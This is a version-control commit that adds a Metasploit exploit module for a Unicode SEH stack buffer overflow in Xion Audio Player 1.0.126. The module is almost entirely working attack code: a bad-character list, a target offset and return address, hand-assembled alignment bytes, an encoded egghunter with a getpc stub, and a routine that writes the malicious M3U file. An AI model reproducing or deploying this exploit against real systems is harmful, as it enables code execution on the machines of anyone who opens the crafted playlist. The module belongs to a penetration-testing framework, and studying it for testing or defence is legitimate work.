add xion audio player exploit from m_101

git-svn-id: file:///home/svn/framework3/trunk@11182 4d416f70-5f16-0410-b530-b9f4589650da
2024-11-12 11:52:01 +01:00 · 2010-11-30 22:03:55 +00:00 · 2010-11-30 22:03:55 +00:00 · c6cf03021d
commit c6cf03021d
parent 9f73b7f28c
1 changed files with 138 additions and 0 deletions
--- a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb
+++ b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb
@ -0,0 +1,138 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GreatRanking
+
+	include Msf::Exploit::FILEFORMAT
+	include Msf::Exploit::Egghunter
+	#include Msf::Exploit::Seh # unused due to special circumstances
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'		=> 'Xion Audio Player 1.0.126 Unicode Stack Buffer Overflow',
+			'Description' 	=> %q{
+					This module exploits a stack buffer overflow in Xion Audior Player prior to version
+				1.0.126. The vulnerability is triggered when opening a malformed M3U file that
+				contains an overly long string. This results in overwriting a
+				structured exception handler record.
+			},
+			'License'	=> MSF_LICENSE,
+			'Version'	=> "$Revision$",
+			'Author'	=>
+				[
+					'anT!-Tr0J4n',      # Discovered the bug
+					'm_101',            # Original and msf exploit
+					'corelanc0d3r'      # Original egghunter code
+				],
+			'References'     =>
+				[
+					#[ 'CVE', '' ],
+					[ 'EDB', '15598' ],
+					[ 'URL', 'http://www.exploit-db.com/exploits/15598' ]
+				],
+			'Payload'	=>
+				{
+					'BadChars'	=>  "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e",
+					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
+					'EncoderOptions' =>
+						{
+							'BufferRegister' => 'EDI',  # egghunter jmp edi
+						}
+				},
+			'Platform'	=> 'win',
+			'Targets'	=>
+				[
+					[ 'Xion Audio Player v1.0.126 XP Universal', { 'Offset' => 252, 'Ret' => "\x51\x43" } ]  #unicode p/p/r equivalent xion.exe
+				],
+			'DisclosureDate' => 'Nov 23 2010',
+			'DefaultTarget'	=> 0))
+
+		register_options(
+			[
+				OptString.new('FILENAME', [ false, 'The output filename.', 'm_101_xion.m3u']),
+				OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/'])
+			], self.class)
+	end
+
+	def exploit
+		# seh chain
+		# 5b            pop ebx
+		# 00 43 00      add byte [ebx], al
+		nseh = "\x5b\x43"
+		# 51            push ecx
+		# 00 43 00      add byte [ebx], al
+		seh = target['Ret']
+
+		# 37            aaa                     ; clear al bit 4 to 7
+		# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
+		# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
+		# 39 00         cmp dword [eax], eax
+		ecx = "\x37\x38"
+		eax = "\x41\x39"
+
+		# alignment code
+		# 5a            pop edx
+		# 00 43 00      add byte [ebx], al
+		align = "\x5a\x43" * 2
+		# 5c            pop esp
+		# 00 43 00      add byte [ebx], al
+		align += "\x5c\x43"
+		# 61            popad
+		# 00 41 00      add byte [ecx], al
+		align += "\x61\x41"
+		# junk code just for alignment
+		# 37            aaa                     ; clear al bit 4 to 7
+		# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
+		# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
+		# 39 00         cmp dword [eax], eax
+		align << ecx
+		align << eax
+
+		hunter, egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
+
+		# Encode with alphamixed, then unicode mixed
+		# thanks to corelancod3r for this egghunter code snippet
+		[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
+			enc = framework.encoders.create(name)
+			if name =~ /unicode/
+				enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
+			else
+				enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
+			end
+			# NOTE: we already eliminated badchars
+			hunter = enc.encode(hunter, nil, nil, platform)
+			if name =~/alpha/
+				#insert getpc_stub & align EDX, unicode encoder friendly.
+				#Hardcoded stub is not an issue here because it gets encoded anyway
+				getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
+				hunter = getpc_stub + hunter
+			end
+		}
+		#tweak hunter, patched to make it write to ECX
+		hunter[1] = "a"
+
+		sploit = rand_text_alphanumeric(263)
+		# seh chain
+		sploit << nseh << seh
+		sploit << align
+		sploit << hunter
+		sploit << egg
+		# if not long enough, it won't trigger the seh
+		sploit << rand_text_alphanumeric(4000 - sploit.length)
+
+		print_status("Creating '#{datastore['FILENAME']}' file ...")
+
+		file_create(sploit)
+	end
+end